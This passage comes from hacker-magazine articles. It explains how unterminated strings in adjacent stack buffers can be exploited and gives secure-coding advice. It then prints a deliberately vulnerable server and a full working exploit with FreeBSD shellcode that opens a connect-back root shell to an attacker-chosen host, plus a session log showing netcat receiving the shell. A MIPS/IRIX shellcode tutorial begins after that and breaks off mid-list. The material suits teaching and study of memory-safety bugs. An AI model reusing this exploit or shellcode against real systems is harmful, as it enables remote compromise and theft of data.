strncat(name, ".", sizeof name ‑ strlen(name) ‑ 1); strncat(name, LocalDomain, sizeof name ‑ strlen(name) ‑ 1); }

...

}

Suppose that hname is at least MAXHOSTNAMELEN bytes long and does not contain a '.'. This means that the calculation for the length argument to strncat will expand to:

sizeof name == MAXNAMELEN

strlen(name) >= MAXNAMELEN

Thus, length will be < 0

Well, since the length parameter to strncat is of type size_t, which is unsigned, strncat will actually be willing to append _way_ to many bytes. Thus, all of LocalDomain will be appended to name (which is already full), an overflow will occur and syslogd will seg fault when validate() returns. Incidentally, unless LocalDomain for the host is an appropriate offset into the stack, this example is exploitable only as a way to kill syslog (incidentally, 0xbfbfd001.com is available).

‑‑‑‑| Pith + Apparition = Opportunity

Although this type of overflow may be exploited in a variety of manners (and indeed, it will manifest itself in a variety of ways), the sexiest and easiest to understand is program redirection. Please note that although the example situations presented are exorbitantly contrived, that similar conditions exist in sundry software currently in use all over the world.

Now, let us address a situation where the user has control over the contents of two adjacent buffers. Consider the following snippet:

int

main(int argc, char **argv)

{

char buf1[1024];

char buf2[256];

strncpy(buf, argv[1], 1024);

strncpy(buf2, argv[2], 256);

...

if(somecondition)

print_error(buf2);

}

void print_error(char *p)

{

char mybuf[263];

sprintf(mybuf, "error: %s", p);

}

A stack diagram would be really large and redundant, so one will not be making an appearance here, but it should be fairly clear what will happen. The programmer assumes that due to the liberal use of strncpy() in main(), that the data is clean when it reaches print_error(). Thus, it is assumed that sprintf() may be called without incident. Unfortunately, since p points to buf2, and buf2 is not properly terminated, sprintf() will actually continue happily copying until it reaches a NULL somewhere after the end of buf1. Oh shit.

‑‑‑‑| Hexploitation

Exploitation (for the purpose of program redirection) in this scenario is slightly different than it is in the case of a traditional single‑buffer overrun. First, a little rehash about exploiting traditional buffer overflows.

Assuming that we are overflowing a single buffer of 256 bytes, our payload would generally look something like this (diagrams obviously not to scale):

[ 0 .......................................256.. ~280 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | |

| Bunch of NOP's | shellcode | More NOP's | offset_to_shellcode |

| | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Buffer |

|_____________________________________

All that we do is pass enough data so that when the overflow occurs, the offset to the our shellcode (an address somewhere on the stack) overwrites the saved instruction pointer. Thus, when the vulnerable function returns, program execution is redirected to our code.

Now assume that we want to overflow another 256‑byte buffer, say the one in print_error() in the code snippet from the last section. To accomplish our malevolent ends however, we will have to use buf1 and buf2 in tandem. All we have to do is fill all of buf2 with our shellcode and NOP's, then use the beginning of buf1 for our offset.

Thus, after the strncpy()'s, buf1 will look like this:

[ 0 .......................................1024 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

| offset_to_shellcode | Filled with NULL's by strncpy() |

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And buf2 will look like this:

[ 0 .......................................256 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | |

| Bunch of NOP's | shellcode | More NOP's |

| | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This arrangement is required due to the way in which the buffers are arranged on the stack. What is supplied as argv[1] (the data that is copied into buf1) will be located higher in memory than the data we supply as argv[2] (which is copied into buf2). So technically, we supply the offset at the beginning of the exploit string, rather than at the end. Then, when print_error() is called, the stack in main(), will look like this:

[Top of stack Upper Memory]

[ 0 .......................................300../ /... 1280 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | |

| Bunch of NOP's | shellcode | More NOP's | offset / / NULL's |

| | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Which resembles greatly the traditional payload described above.

When print_error() is called, it is passed a pointer to the beginning of buf2, or, the top of the stack in main(). Thus, when sprintf() is called, an overrun occurs, redirecting program execution to our shellcode, and all is lost.

Note that alignment here is key, since if the compiler pads one of the buffers, we may run into a problem. Which buffer is padded and the contents of the pad bytes both play a role in the success of exploitation.

If buf2 is padded, and the padded bytes contain NULL's, no overflow (or, at least, no usable overflow) will occur. If the pad bytes are _not_ null, then as long as the pad bytes end on a double‑word boundary (which they almost certainly will), we can still successfully overwrite the saved instruction pointer.

If buf1 is padded, whether or not the pad bytes contain NULL's is really of no consequence, as they will fall after our shellcode anyway.

‑‑‑‑| Denouement

As with all bugs, the fault here is not of the library functions, or of the C programming language, or operating systems not marking data as non‑executable, but that programmers do not fully realize the ramifications of what they are doing. Before handling any potentially hazardous materials (arbitrary data), special precautions should be made. Man pages should be read. Buffers should be terminated. Return values should be checked. All it takes is a '+1' and an initialization. How hard is this:

char buf[MAXSIZE + 1];

FILE *fd;

size_t len;

...

memset(buf, 0, MAXSIZE + 1);

len = fread((void *)buf, 1, MAXSIZE, fd);

/*

* This won't actually happen, but it is supplied to

* prove a point

*/

if(len > MAXSIZE){

syslog(LOG_WARNING, "Overflow occured in pid %d, invoked by %d\n", getpid(), getuid());

exit(1);

}

...

Okay, so the above is a bit silly, but the hopefully the intent is clear.

Incidentally, the following also do not terminate on behalf of lazy programmers:

fread()

the read() family [ read(), readv(), pread() ]

memcpy()

memccpy()

memmove()

bcopy()

for(i = 0; i < MAXSIZE; i++)

buf[i] = buf2[i];

gethostname()

strncat()

These functions are kind enough to null‑terminate for you:

snprintf()

fgets()

Now, go break something, or better yet, go fix something.

‑‑‑‑| Example

Attached is an example exploit for an example vulnerable program. The vulnerable program is pathetically contrived, and serves no purpose other than:

a) Offering an example of explaining the considerations of exploiting this type of buffer overrun.

b) Offering a viable opportunity to pimp some new shellcode.

The decision not to present an exploit to real software was due to:

a) The fact that publishing 0‑day in Phrack is rude.

b) If I didn't report the bugs I've found I would be a prick. c) The fact that any bugs that I have found should already be patched by the time this comes out.

d) The presented example is easier to follow than a real‑world app. e) The point of this article is to inform, not help you tag www.meaninglessdomain.com.

But hey, you're getting free shellcode, so reading this wasn't an entire waste of time.

The exploit itself will throw a shell to any system and port you deem necessary. I think that's useful. Read the comments in boobies.c for instructions on how to use.

The shellcode is i386‑FreeBSD specific, so in order to play with this the vulnerable proggy will need to be run on an x86 FreeBSD machine. The exploit should compile and run on anything ‑‑ though you may have to tweak the alignment for your particular architecture.

Incidentally, x86 Linux and SPARC Solaris versions of the shellcode are available at www.vicar.org/~twitch/projects/llehs.

‑‑‑‑| The code

<++> p56/Boobies/vuln.c !66dd8731

/*

* vuln.c

*

* 01/09/1999

* <twitch@vicar.org>

*

* Example to display how non‑terminated strings in adjacent memory * spaces may be exploited.

*

* Give it a port to listen on if you wish as argv[argc ‑ 1]

* (the default is 6543).

*

* The code is sloppy because I really didn't care.

* Pretend it's a game on a Happy Meal(tm) box‑ how many other exploitable * conditions can you find?

*

* to compile‑

* [twitch@lupus]$ gcc ‑Wall ‑o vuln vuln.c

*/

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#ifndef MAXHOSTNAMELEN

#define MAXHOSTNAMELEN 256

#endif /* MAXHOSTNAME */

#define PORT 6543

int be_vulnerable(int);

void oopsy(char *);

int do_stuff(char *, int, u_short);

int

main(int argc, char **argv)

{

char myname[MAXHOSTNAMELEN + 1];

struct hostent *h;

int r;

u_short port;

port = PORT;

if(argc > 1)

port = strtoul(argv[argc ‑ 1], NULL, 10);

memset(myname, 0, MAXHOSTNAMELEN + 1);

r = gethostname(myname, MAXHOSTNAMELEN);

if(r){

perror("gethostname");

return(1);

}

if(!(strlen(myname))){

fprintf(stderr, "I have no idea what my name is, bailing\n"); return(1);

}

h = gethostbyname(myname);

if(!h){

fprintf(stderr, "I couldn't resolve my own name, bailing\n"); return(1);

}

return(do_stuff(h‑>h_addr, h‑>h_length, port));

}

/*

* do_stuff()

* Listen on a socket and when we get a connection, had it

* off to be_vulnerable().

*/

int

do_stuff(char *myaddr, int addrlen, u_short port)

{

struct sockaddr_in sin, fin;

int s, r, alen;

char *p;

memcpy(&sin.sin_addr.s_addr, myaddr, addrlen);

p = inet_ntoa(sin.sin_addr);

if(sin.sin_addr.s_addr == ‑1L){

fprintf(stderr, "inet_addr returned the broadcast, bailing\n"); return(1);

}

memset(&sin, 0, sizeof(struct sockaddr));

sin.sin_family = AF_INET;

sin.sin_port = htons(port);

s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

if(s < 0){

perror("socket");

return(1);

}

alen = sizeof(struct sockaddr);

r = bind(s, (struct sockaddr *)&sin, alen);

if(r < 0){

perror("bind");

return(1);

}

r = listen(s, 1);

if(r < 0){

perror("listen");

return(1);

}

printf("Accepting connections on port %d...\n", port);

memset(&fin, 0, alen);

r = accept(s, (struct sockaddr *)&fin, &alen);

if(r < 0){

perror("accept");

return(1);

}

return(be_vulnerable(r));

}

/*

* be_vulnerable()

* We grab a chunk o' data from the wire and deal with it

* in an irresponsible manner.

*/

int

be_vulnerable(int s)

{

int r;

char buf[1024], buf2[256];

memset(buf, 0, 1024);

memset(buf2, 0, 256);

r = read(s, (void *)buf, 1024);

r = read(s, (void *)buf2, 256);

oopsy(buf2);

close(s);

return(0);

}

/*

* oopsy()

* Copy data into local storage to do something with it.

* I'm lazy so all this does is cause the overflow.

*/

void

oopsy(char *p)

{

char mybuf[256];

fprintf(stderr, "Oh shit, p is %d bytes long.\n", strlen(p)); strncpy(mybuf, p, strlen(p));

}

<‑‑>

<++> p56/Boobies/boobies.c !f264004c

/*

* boobies.c

*

* 01/09/1999

* <twitch@vicar.org>

*

* Dedicated to Kool Keith, Bushmill's smooth and mellow (distilled * three times) Irish Whiskey, and that one SCO guy's beautiful lady. *

*

* Example exploit for vuln.c to display how non‑terminated strings * in adjacent memory can cause real troubles.

*

* This shellcode will establish a TCP connection to any port and * address you deem fit (see the shellcode for where/how to do this) * and drop a shell. You won't get a prompt, but otherwise, it is a * full shell with the privleges of whatever the exploited program had. *

* This is the x86 FreeBSD version‑ Linux and SPARC Solaris versions, * as well as full assembly listings are available at

* www.vicar.org/~twitch/projects/llehs

*

* To use this exploit, run the silly little vulnerability demo

* program on some system (in this example it's running on a system * called lupus) thusly:

*

* [twitch@lupus]$ ./vuln

* Accepting connections on port 6543...

*

* Then do this on the attacking system (or wherever you are directing * the shell):

*

* [twitch@pornstar]$ nc ‑n ‑v ‑l ‑p 1234

* listening on [any] 1234 ...

*

* [ from another terminal/window ]

*

* [twitch@pornstar]$ ./boobies ‑a 192.168.1.1 ‑p 1234 |nc ‑v lupus 6543 * lupus [192.168.1.6] 6543 (?) open

*

* [ back to the first terminal/window ]

*

* connect to [192.168.1.1] from (lupus) [192.168.1.6] 1234

* uname ‑n

* lupus.vicar.org

* ls ‑alF /root/

* total 14

* drwxr‑x‑‑‑ 3 root wheel 512 Dec 8 20:44 ./

* drwxr‑xr‑x 19 root wheel 512 Dec 10 19:13 ../

* ‑rw‑‑‑‑‑‑‑ 1 root wheel 4830 Jan 4 16:15 .bash_history

* ‑rw‑‑‑‑‑‑‑ 2 root wheel 383 May 17 1999 .cshrc

* ‑rw‑‑‑‑‑‑‑ 1 root wheel 1354 Jan 5 10:33 .history

* ‑rw‑‑‑‑‑‑‑ 1 root wheel 124 May 17 1999 .klogin

* ‑rw‑‑‑‑‑‑‑ 1 root wheel 491 Dec 4 19:59 .login

* ‑rw‑‑‑‑‑‑‑ 2 root wheel 235 May 17 1999 .profile

* drwxr‑x‑‑‑ 2 root wheel 512 Dec 8 20:44 .ssh/

* ^C

* [twitch@pornstar]$

*

* You will need to supply an offset of around ‑50 if

* vuln is running on a port besides the default.

*

* The exploit has a few options that you can read about by doing: * [twitch@pornstar]$ ./boobies ‑h

* usage: ./boobies [‑o offset_nudge] [‑p port] [‑a address] [‑A alignment] * ‑o Nudge the offset offset_nudge bytes.

* ‑p Port to which the target should connect.

* ‑a Address to which the target should connect. * (Must be an IP address because I'm lazy.)

* ‑A Nudge the alignment.

* ‑v Be verbose about what we're doing.

* ‑h The secret to life.

*

* If you compile this on non‑x86 architectures, you will prolly have to * play with the alignment a bit.

*

* to compile‑

* [twitch@pornstar]$ gcc ‑o boobies ‑Wall boobies.c

* Be alert, look alive, and act like you know.

*/

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

char llehs[] = "\x55\x89\xe5\xeb\x7e\x5e\x31\xc0\x88\x46\x07\x83\xec\x18" /* 14 */

"\xc6\x45\xe9\x02\x31\xc0\x66\xb8" /* 22 */

/*

* Replace with (htons(port) ^ 0xff).

* Defaults to 1234.

*/

"\xfb\x2d"

"\x66\x35\xff\xff\x66\x89\x45\xea\xb8" /* 33 */

/*

* Replace with (inet_addr(host_to_conenct_to) ^ 0xffffffff). * Defaults to 192.168.1.6.

*/

"\x3f\x57\xfe\xf9"

"\x83\xf0\xff\x89\x45\xec\x6a\x06\x6a\x01\x6a\x02\x6a\x0f\x31\xc0\xb0" "\x61\xcd\x80"

"\x6a\x10\x89\xc3\x8d\x45\xe8\x50\x53\x6a\x0f\x31\xc0\xb0\x62\xcd\x80" "\x31\xc0\x50\x53\x6a\x0f\xb0\x5a\xcd\x80" "\x53\x6a\x0f\x31\xc0\xb0\x06\xcd\x80" "\x6a\x01\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80" "\x6a\x02\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80" "\x31\xc0\x50\x50\x56\x6a\x0f\xb0\x3b\xcd\x80" "\x31\xc0\x40\xcd\x80" "\xe8\x7d\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

/*

* This offset seems to work if you are running the exploit and the * vulnerable proggy on the same machine, with vuln listening on its * default port. If vuln is listening on a user‑supplied port, this * needs to be around 0xbfbfd0fc. YMMV.

*/

#define OFFSET 0xbfbfd108

#define NOP 0x90

#define BUFSIZE 1300

#define SHELLSIZE 143

#define PAD 32

#define ALIGNIT 0

/*

* Offset into the shellcode for the port

*/

#define SCPORTOFF 22

/*

* Offset into the shellcode for the address

*/

#define SCADDROFF 33

void

usage(char *proggy)

{

fprintf(stderr, "usage: %s [‑o offset_nudge] [‑p port] [‑a address] ", proggy);

fprintf(stderr, "[‑A alignment]\n");

fprintf(stderr, "\t‑o\t\tNudge the offset offset_nudge bytes.\n"); fprintf(stderr, "\t‑p\t\tPort to which the target should connect.\n"); fprintf(stderr, "\t‑a\t\tAddress to which the target should connect.\n"); fprintf(stderr, "\t\t\t(Must be an IP address because I'm lazy.)\n"); fprintf(stderr, "\t‑A\t\tNudge the alignment.\n"); fprintf(stderr, "\t‑v\t\tBe verbose about what we're doing.\n"); fprintf(stderr, "\t‑h\t\tThe secret to life.\n"); fprintf(stderr, "\n");

exit(1);

}

void

main(int argc, char **argv)

{

char b00m[BUFSIZE], *p, c;

char *port, *addr;

u_short portd;

u_long addrd;

extern char *optarg;

int i, nudge = 0, o = OFFSET, align = 0;

int verb = 0;

port = &(llehs[SCPORTOFF]);

addr = &(llehs[SCADDROFF]);

while((c = getopt(argc, argv, "o:p:a:A:vh")) != ‑1){ switch(c){

/*

* Nudge to the offset

*/

case 'o':

nudge = strtoul(optarg, NULL, 10);

break;

/*

* Port to which we connect

*/

case 'p':

portd = strtoul(optarg, NULL, 10);

if(verb)

fprintf(stderr, "Shell coming back on port %d\n", portd);

portd = htons(portd);

portd ^= 0xffff;

if(verb)

fprintf(stderr, " (0x%x)\n", portd);

memcpy((void *)port, (void *)&portd, sizeof(u_short)); break;

/*

* Address to which we connect

*/

case 'a':

addrd = inet_addr(optarg);

if(addrd == ‑1L){

fprintf(stderr, "Bad address '%s'.\n", optarg); exit(1);

}

addrd ^= 0xffffffff;

memcpy((void *)addr, (void *)&addrd, sizeof(u_long));

if(verb){

fprintf(stderr, "Shell is being sent to %s.\n", optarg); fprintf(stderr, " (0x%lx)\n", addrd);

}

break;

/*

* Alignment (should only be necessary on architectures * other than x86)

*/

case 'A':

align = strtoul(optarg, NULL, 10);

break;

case 'v':

verb++;

break;

case 'h':

default:

usage(argv[0]);

break;

}

}

o += nudge;

align += ALIGNIT;

if(verb){

fprintf(stderr, "Offset is 0x%x\n", o); fprintf(stderr, "Alignment nudged %d bytes\n", align);

}

p = b00m;

memset(p, 0x90, sizeof(b00m));

p = b00m + ALIGNIT;

for(i = 0; i < PAD; (i += 4)){

*((int *)p) = o;

p +=4;

}

p = (&b00m[0]) + PAD + PAD + ALIGNIT;

memcpy((void *)p, (void*)llehs, SHELLSIZE);

b00m[BUFSIZE] = 0;

fprintf(stderr, "payload is %d bytes wide\n", strlen(b00m)); printf("%s", b00m);

exit(0);

}

<‑‑>

Writing MIPS/Irix shellcode

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x0f[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ WRITING MIPS/IRIX SHELLCODE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ scut/teso ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

‑‑‑‑| Intro

Writing shellcode for the MIPS/Irix platform is not much different from writing shellcode for the x86 architecture. There are, however, a few tricks worth knowing when attempting to write clean shellcode (which does not have any NULL bytes and works completely independent from it's position).

This small paper will provide you with a crash course on writing IRIX shellcode for use in exploits. It covers the basic stuff you need to know to start writing basic IRIX shellcode. It is divided into the following sections:

‑ The IRIX operating system

‑ MIPS architecture

‑ MIPS instructions

‑ MIPS registers

‑ The MIPS assembly language

‑ High level language function representation

‑ Syscalls and Exceptions

‑ IRIX syscalls

‑ Common constructs

‑ Tuning the shellcode

‑ Example shellcode

‑ References

‑‑‑‑| The IRIX operating system

The Irix operating system was developed independently by Silicon Graphics and is UNIX System V.4 compliant. It has been designed for the MIPS CPU's, which have a unique history and have pioneered 64‑bit and RISC technology. The current Irix version is 6.5.7. There are two major versions, called feature (6.5.7f) and maintenance (6.5.7m) release, from which the feature release is focused on new features and technologies and the maintenance release on bug fixes and stability. All modern Irix platforms are binary compatible and this shellcode discussion and the example shellcodes have been tested on over half a dozen different Irix computer systems.

‑‑‑‑| MIPS architecture

First of all you have to have some basic knowledge about the MIPS CPU architecture. There are a lot of different types of the MIPS CPU, the most common are the R4x00 and R10000 series (which share the same instruction set).

A MIPS CPU is a typical RISC‑based CPU, meaning it has a reduced instruction set with less instructions then a CISC CPU, such as the x86. The core concept of a RISC CPU is a tradeoff between simplicity and concurrency: There are less instructions, but the existing ones can be executed quickly and in parallel. Because of this small number of instructions there is less redundancy per instruction, and some things can only be done using a single instruction, while on a CISC CPU this can only be achieved by using a variety of different instructions, each one doing basically the same thing. As a result of this, MIPS machine code is larger then CISC machine code, since often multiple instructions are required to accomplish the same operation that CISC CPU's are able to do with one single instruction.

Multiple instructions do not, however, result in slower code. This is a matter of overall execution speed, which is extremely high because of the parallel execution of the instructions.

On a MIPS CPU the concurrency is very advanced, and the CPU has a pipeline with five slots, which means five instructions are processed at the same time and every instruction has five stages, from the initial IF pipestage (instruction fetch) to the last, the WB pipestage (write back).

Because the instructions overlap within the pipeline, there are some "anomalies" that have to be considered when writing MIPS machine code:

‑ there is a branch delay slot: the instruction following the branch instruction is still in the pipeline and is executed after the jump has taken place

‑ the return address for subroutines ($ra) and syscalls (C0_EPC) points not to the instruction after the branch/jump/syscall instruction but to the instruction after the branch delay slot instruction ‑ since every instruction is divided into five pipestages the MIPS design has reflected this on the instructions itself: every instruction is 32 bits broad (4 bytes), and can be divided most of the times into segments which correspond with each pipestage

‑‑‑‑| MIPS instructions

MIPS instructions are not just 32 bit long each, they often share a similar mapping too. An instruction can be divided into the following sections:

+ + + + + + + + + + + + + + + + +

31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| op | sub‑op |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑

The "op" field denotes the six bit primary opcode. Some instructions, such as long jumps (see below) have a unique code here, the rest are grouped by function. The "sub‑op" section, which is five bytes long can represent either a specific sub opcode as extension to the primary opcode or can be a register block. A register block is always five bits long and selects one of the CPU registers for an operation. The subcode is the opcode for the arithmetic and logical instructions, which have a primary opcode of zero.

The logical and arithmetic instructions share a RISC‑unique attribute: They do not work with two registers, such as common x86 instructions, but they use three registers, named "destination", "target" and "source". This allows more flexible code, if you still want CISC‑like instructions, such as "add %eax, %ecx", just use the same destination and target register for the operation.

A typical MIPS instruction looks like:

or a0, a1, t4

which is easy to represent in C as "a0 = a1 | t4". The order is almost always equivalent to a simple C expression.

Some simple instructions are listed below.

‑ dest, source, target, and register are registers (see section on MIPS registers below).

‑ value is a 16 bit value, either signed or not, depending on the instruction. ‑ offset is a 16 bit relative offset. loffset is a 26 bit offset, which is shifted so that it lies on a four byte boundary.

or dest, source, target logical or: dest = source | target nor dest, source, target logical not or: d = ~ (source | target) add dest, source, target add: dest = source + target addu dest, source, value add immediate signed: dest = source + value and dest, source, target logical and: dest = source & target beq source, target, offset if (source == target) goto offset bgez source, offset if (source >= 0) goto offset bgezal source, offset if (source >= 0) offset () bgtz source, offset if (source > 0) goto offset bltz source, offset if (source < 0) goto offset bltzal source, offset if (source < 0) offset ()

bne source, target, offset if (source != target) goto offset j loffset goto loffset (within 2^28 byte range) jr register jump to address in register jal loffset loffset (), store retaddr in $ra li dest, value load imm.: expanded to either ori or addiu lw dest, offset dest = *((int *) (offset)) slt dest, source, target signed: dest = (source < target) ? 1 : 0 slti dest, source, value signed: dest = (source < value) ? 1 : 0 sltiu dest, source, value unsigned: dest = (source < value) ? 1 : 0 sub dest, source, target dest = source ‑ target

sw source, offset *((int *) offset) = source syscall raise syscall exception

xor dest, source, target dest = source ^ target

xori dest, source, value dest = source ^ value

This is obviously not complete. However, it does cover the most important instructions for writing shellcode. Most of the instructions in the example shellcodes can be found here. For the complete list of instructions see either [1] or [2].

‑‑‑‑| MIPS registers

The MIPS CPU has plenty of registers. Since we already know registers are addressed using a five bit block, there must be 32 registers, $0 to $31. They are all alike except for $0 and $31. For $0 the case is very simple: No matter what you do to the register, it always contains zero. This is practical for a lot of arithmetic instructions and can results in elegant code design. The $0 register has been assigned the symbolic name $zero. The $31 register is also called $ra, for "return address". Why should a register ever contain a return address if there is such a nice stack to store it? And how should recursion be handled otherwise? Well, the short answer is, there is no real stack and yes it works. For the longer answer we will shortly discuss what happens when a function is called on a RISC CPU. When this is done a special instruction called "jal" is used. This instruction overwrites the content of the $ra ($31) register with the appropriate return address and then jumps to an arbitrary address. The called function does however see the return address in $ra and once finished just jumps back (using the "jr" instruction) to the return address. But what if the function wants to call functions, too? Then there is a stack‑like segment the function can store the return address on, later restore it and then continue to work as usual.

Why "stack‑like"? Because there is only a stack by convention, and any register may be used to behave like a stack. There are no push or pop instructions however, and the register has to be adjusted manually. The "stack" register is $29, symbolically referred as $sp. The stack grows to the smaller addresses, just like on the x86 architecture.

There other register conventions, nearly as many as there are registers. For the sake of completeness here is a small listing:

number symbolic function

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$0 $zero always contains zero

$1 $at is used by assembler (see below), do not use it $2‑$3 $v0, $v1 subroutine return values

$4‑$7 $a0‑$a3 subroutine arguments

$8‑$15 $t0‑$t7 temporary registers, may be overwritten by subroutine $16‑$23 $s0‑$s7 subroutine registers, have to be saved by called function before they may be used

$24,$25 $t8, $t9 temporary registers, may be overwritten by subroutine $26,$27 $k0, $k1 interrupt/trap handler reserved registers, do not use $28 $gp global pointer, used to access static and extern variables $29 $sp stack pointer

$30 $s8/$fp subroutine register, commonly used as a frame pointer $31 $ra return address

There are also 32 floating point registers, each 32 bits long (64 bits on newer MIPS CPUs). They are not important for system programming, so we will not discuss them here.

‑‑‑‑| The MIPS assembly language

Because the instructions are relatively primitive and programmers often want to accomplish more complex things, the MIPS assembly language works with a lot of macro instructions. They sometimes provide really necessary operations, such as subtracting a number from a register (which is converted to a signed add by the assembler) to complex macros, such as finding the remainder for a division. But the assembler does a lot more than providing macros for common operations. We already mentioned the pipeline in which instructions are processed simultaneously. Often the execution directly depends on the order within the pipeline, because the registers accessed with the instructions are written back in the last pipestage, the WB (write‑back) stage and cannot be accessed before by other instructions. For old MIPS CPUs the MIPS abbreviation is true when saying "Microcomputer without Interlocked Pipeline Stages", you just cannot access the register in the instruction directly following the one that modifies this register. Nearly all MIPS CPUs currently in service do have an interlock though, they just wait until the data from the instruction is written back to the register before allowing the following instruction to read it. In practice you only have to worry when writing very low level assembly code, such as shellcode :‑), because most of the times the assembler will reorder and replace your instructions so that they exploit the pipelined architecture at best. You can turnoff this reordering and macros in any MIPS assembler, if you want to.

The MIPS CPUs and RISC CPUs altogether were not designed with easy assembly language programming in mind. It is more difficult, however, to program a RISC CPU in assembly than any CISC CPU. Even the first sentences of the MIPS Pro Assembler Manual from the MIPS corporation recommend to use MIPS assembly language only for hardware near routines or operating system programming. In most cases a good C compiler, such as the one MIPS developed will optimize the pipeline and register usage way better then any programmer might do in assembly. However, when writing shellcodes we have to face the bare machine code and have to write size‑optimized code, which does not contain any NULL bytes. A compiler might use large code to unroll loops or to use faster constructs, we can not.

‑‑‑‑| High level language function representation

Most of the time, a normal C function can be represented very easily in MIPS assembly. You just have to differentiate between leaf and non‑leaf functions. A non‑leaf function is a function that does not call any other function. Such functions do not need to store the return address on the stack, but keep it in $ra for the whole time. The arguments to a function are stored by the calling function in $a0, $a1, $a2 and $a3. If this space is not sufficient enough extra stack space is used, but in most cases the registers suffice. The function may return two 32bit values through the $v0 and $v1 registers. For temporary space the called function may use the stack referred to by $sp. Also registers are commonly saved on the stack and later restored from it. The temporary registers ($t0‑$t9) may be overwritten in the called function without restoring them later, if the calling functions wants to preserve them, it has to save them itself.

The stack usually starts at 0x80000000 and grows towards small addresses. As was already said, it is very similar to the stack of an x86 system.

‑‑‑‑| Syscalls and Exceptions

On a typical Unix system there are only two modes that current execution can happen in: user mode and kernel mode. In most modern architectures this modes are directly supported by the CPU. The MIPS CPU has these two modes plus an extra mode called "supervisor mode". It was requested by engineers at DEC for their new range of workstations when the MIPS R4000 CPU was designed. Since the VMS/DEC market was important to MIPS, they implemented this third mode at DEC's request to allow the VMS operating system to be run on the CPU. However, DEC decided later to develop their own CPU, the Alpha CPU and the mode remained unused.

Back to the execution modes... on current operating systems designed for the MIPS CPU only kernel mode and user mode are used. To switch from user mode to the kernel mode there is a mechanism called "exceptions". Whenever a user space process wants to let the kernel to do something or whenever the current execution can't be successfully continued the control is passed to the kernel space exception handler.

For shellcode construction we have to know that we can make the kernel execute important operating system related stuff like I/O operations through the syscall exception, which is triggered through the "syscall" instruction. The syscall instruction looks like:

syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100

Where the x's represent the 20 bit broad syscall code, which is ignored on the Irix system. To avoid NULL bytes in your shellcode you can set those x‑bits to arbitrary data.

‑‑‑‑| IRIX syscalls

The following list covers the most important syscalls for use in shellcodes. After all registers have been appropriately set the "syscall" instruction is executed and the execution flow is passed to the kernel.

accept

‑‑‑‑‑‑

int accept (int s, struct sockaddr *addr, socklen_t *addrlen);

a0 = (int) s

a1 = (struct sockaddr *) addr

a2 = (socklen_t *) addrlen

v0 = SYS_accept = 1089 = 0x0441

return values

a3 = 0 success, a3 != 0 on failure

v0 = new socket

bind

‑‑‑‑

int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen);

a0 = (int) sockfd

a1 = (struct sockaddr *) my_addr

a2 = (socklen_t) addrlen

v0 = SYS_bind = 1090 = 0x0442

For the IN protocol family (TCP/IP) the sockaddr pointer points to a sockaddr_in struct which is 16 bytes long and typically looks like: "\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", where aa is ((port >> 8) & 0xff) and bb is (port & 0xff).

return values

a3 = 0 success, a3 != 0 on failure

v0 = 0 success, v0 != 0 on failure

close

‑‑‑‑‑

int close (int fd);

a0 = (int) fd

v0 = SYS_close = 1006 = 0x03ee

return values

a3 = 0 success, a3 != 0 on failure

v0 = 0 success, v0 != 0 on failure

execve

‑‑‑‑‑‑

int execve (const char *filename, char *const argv [], char *const envp[]);

a0 = (const char *) filename

a1 = (chat * const) argv[]

a2 = (char * const) envp[]

v0 = SYS_execve = 1059 = 0x0423

return values

should not return but replace current process with program, it only returns in case of errors

fcntl

